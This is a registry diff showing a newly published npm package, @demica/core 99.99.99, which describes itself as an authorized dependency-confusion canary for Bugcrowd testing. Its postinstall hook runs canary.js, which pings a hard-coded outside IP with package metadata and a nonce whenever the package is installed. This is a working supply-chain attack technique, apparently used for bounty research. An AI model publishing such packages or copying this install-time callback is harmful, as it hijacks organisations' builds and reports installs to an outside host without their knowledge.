@demica/core 99.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (4) hide show
  1. package/README.md +12 -0
  2. package/canary.js +35 -0
  3. package/index.js +3 -0
  4. package/package.json +19 -0
package/README.md ADDED
@@ -0,0 +1,12 @@
1
+ # @demica/core
2
+
3
+ Authorized benign dependency-confusion canary for FIS Bugcrowd testing.
4
+
5
+ This package performs a single postinstall HTTP ping to the tester-controlled
6
+ collector. The package code does not read or transmit environment variables,
7
+ hostnames, usernames, working directories, filesystem contents, command output,
8
+ credentials, tokens, or source code.
9
+
10
+ The collector records only network/request metadata visible to the server:
11
+ source IP, User-Agent, timestamp, package name, package version, nonce, and
12
+ lifecycle phase.
package/canary.js ADDED
@@ -0,0 +1,35 @@
1
+ 'use strict';
2
+
3
+ const http = require('http');
4
+
5
+ const PACKAGE_NAME = '@demica/core';
6
+ const PACKAGE_VERSION = '99.99.99';
7
+ const NONCE = 'd77ed27cfacba930a63011b052fb957d';
8
+ const PHASE = process.argv[2] || 'postinstall';
9
+
10
+ const params = new URLSearchParams({
11
+ pkg: PACKAGE_NAME,
12
+ version: PACKAGE_VERSION,
13
+ nonce: NONCE,
14
+ phase: PHASE,
15
+ });
16
+
17
+ const request = http.request(
18
+ {
19
+ hostname: '157.230.17.236',
20
+ port: 80,
21
+ method: 'GET',
22
+ path: `/dc?${params.toString()}`,
23
+ timeout: 3000,
24
+ headers: {
25
+ 'User-Agent': 'fis-bugcrowd-dependency-confusion-canary/2.0 ping-only',
26
+ },
27
+ },
28
+ (response) => {
29
+ response.resume();
30
+ },
31
+ );
32
+
33
+ request.on('timeout', () => request.destroy());
34
+ request.on('error', () => {});
35
+ request.end();
package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ 'use strict';
2
+
3
+ module.exports = {};
package/package.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@demica/core",
3
+ "version": "99.99.99",
4
+ "description": "Authorized benign dependency-confusion canary for FIS Bugcrowd testing.",
5
+ "main": "index.js",
6
+ "license": "UNLICENSED",
7
+ "files": [
8
+ "index.js",
9
+ "canary.js",
10
+ "README.md"
11
+ ],
12
+ "scripts": {
13
+ "postinstall": "node canary.js postinstall"
14
+ },
15
+ "publishConfig": {
16
+ "access": "public",
17
+ "registry": "https://registry.npmjs.org/"
18
+ }
19
+ }